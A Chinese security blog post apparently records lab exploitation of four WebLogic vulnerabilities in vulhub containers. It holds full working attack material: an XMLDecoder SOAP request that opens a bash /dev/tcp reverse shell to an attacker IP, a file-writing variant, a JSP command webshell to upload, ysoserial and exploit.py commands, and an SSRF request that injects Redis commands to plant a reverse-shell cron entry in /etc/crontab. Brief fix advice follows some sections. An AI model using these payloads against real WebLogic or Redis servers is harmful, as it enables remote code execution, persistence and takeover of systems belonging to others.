中间件漏洞 -- Weblogic

中间件漏洞记录--6

目录

一、Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)

1、环境搭建

2、访问

3、手工检验利用漏洞

1> 访问 http://ip:7001/wls-wsat/CoordinatorPortType

2> 抓一个上面那个包,并改成POST传参

3> 利用POST传参,构造XML 反弹shell 代码

4> 提前监听,getshell

5> 还可以写入文件

4、用工具

修复建议

二、Weblogic 任意文件上传漏洞(CVE-2018-2894)

1、环境搭建

2、访问 http://ip:7001/console,会跳转至登陆页面

3、执行 docker-compose logs | grep password

4、登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项

5、修改工作目录

6、然后点击安全 -> 增加,然后上传webshell

7、然后F12,搜 tc_background,有一个时间戳

8、然后访问,成功执行

​ 9、木马在此

三、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

1、环境搭建

2、访问 /console,搭建成功

3、下载ysoserial-cve-2018-2628工具,并启动一个JRMP Server

4、 使用exploit.py脚本,向目标Weblogic(http://your-ip:7001)发送数据包

5、查看,命令执行成功

四、Weblogic SSRF漏洞

1、环境搭建

2、访问 /uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,则可能存在此漏洞

3、填写任意信息,search抓包

4、探测内网

5、注入HTTP头,利用Redis反弹shell

1> 首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)

2> 发送三条redis命令,将弹shell脚本写入/etc/crontab

3> 提前监听,getshell

修复建议


一、Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)

1、环境搭建

docker + vulhub

cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d

2、访问

出现这个404,就说明搭建成功

3、手工检验利用漏洞

1> 访问 http://ip:7001/wls-wsat/CoordinatorPortType

出现如下页,则可能存在此漏洞

默认存在漏洞的url

/wls-wsat/CoordinatorPortType 
/wls-wsat/RegistrationPortTypeRPC 
/wls-wsat/ParticipantPortType 
/wls-wsat/RegistrationRequesterPortType 
/wls-wsat/CoordinatorPortType11 
/wls-wsat/RegistrationPortTypeRPC11 
/wls-wsat/ParticipantPortType11 
/wls-wsat/RegistrationRequesterPortType11

2> 抓一个上面那个包,并改成POST传参

3> 利用POST传参,构造XML 反弹shell 代码

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.129.129:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.129.225/1234 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

4> 提前监听,getshell

5> 还可以写入文件

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.129.129:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

4、用工具

直接可以检测,命令执行,上传

修复建议

  • 安装补丁。
  • 删除wls-wsat组件,再次访问返回404.

二、Weblogic 任意文件上传漏洞(CVE-2018-2894)

1、环境搭建

docker + vulhub

cd vulhub/weblogic/CVE-2018-2894
docker-compose up -d

2、访问 http://ip:7001/console,会跳转至登陆页面

3、执行 docker-compose logs | grep password

可以查看到用户名密码 weblogic Hzxon4k3

4、登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项

然后保存

5、修改工作目录

访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的

6、然后点击安全 -> 增加,然后上传webshell

 

7、然后F12,搜 tc_background,有一个时间戳

8、然后访问,成功执行

http://192.168.129.129:7001/ws_utc/css/config/keystore/1637242302425_shell.jsp
http://ip:7001/ws_utc/css/config/keystore/时间戳_上传的文件名

 9、木马在此

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
 else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML>

三、Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

ysoserial-cve-2018-2628,下载链接https://github.com/tdy218/ysoserial-cve-2018-2628/releases

expolit.py脚本,下载链接https://www.exploit-db.com/exploits/44553

1、环境搭建

docker + vulhub

cd vulhub/weblogic/CVE-2018-2628
docker-compose up -d

2、访问 /console,搭建成功

3、下载ysoserial-cve-2018-2628工具,并启动一个JRMP Server

java -cp "ysoserial-0.1-cve-2018-2628-all.jar" ysoserial.exploit.JRMPListener 1234 Jdk7u21 "touch /tmp/hello" 
java -cp "ysoserial-0.1-cve-2018-2628-all.jar" ysoserial.exploit.JRMPListener [攻击机监听端口] jdk版本编号 "要执行的命令"

4、 使用exploit.py脚本,向目标Weblogic(http://your-ip:7001)发送数据包

python2 exploit.py 靶机IP 端口(默认7001) ysoserial-0.1-cve-2018-2628-all.jar的位置 攻击机IP 攻击机监听端口 JRMPClient

5、查看,命令执行成功

来到部署环境的靶机的那个目录下,执行 docker-compose exec weblogic bash

查看目录,命令执行成功,成功创建

四、Weblogic SSRF漏洞

1、环境搭建

docker + vulhub

cd vulhub/weblogic/ssrf
docker-compose up -d

2、访问 /uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,则可能存在此漏洞

3、填写任意信息,search抓包

并将其改为get类型

4、探测内网

参数operatorSSRF的可控参数,将其更改为开放的端口,如http://127.0.0.1:7001/,将返回error code

若端口未开放,则会返回 but could not connect over HTTP to server

通过 返回数据包 中的错误信息,即可探测内网状态。

5、注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

1> 首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)

docker ps -a
docker inspect redis的id值

最下面可以看到ip

探测是否开放

出现右边这句话,说明6379开放

2> 发送三条redis命令,将弹shell脚本写入/etc/crontab

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/ip/端口 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

将其进行url编码,加在6379后面,发包

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.27.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.129.226%2F1234%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=abcd&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1
Host: 192.168.129.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Origin: http://192.168.129.129:7001
Connection: close
Referer: http://192.168.129.129:7001/uddiexplorer/SearchPublicRegistries.jsp
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=HB0dhXTP4WZ1VGP9qGRkvYq25f0TnhZQPQ2Fy4hqc1JYhz8dnqzd!1867720999
Upgrade-Insecure-Requests: 1

3> 提前监听,getshell

修复建议

删除SearchPublicRegistries.jsp文件

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值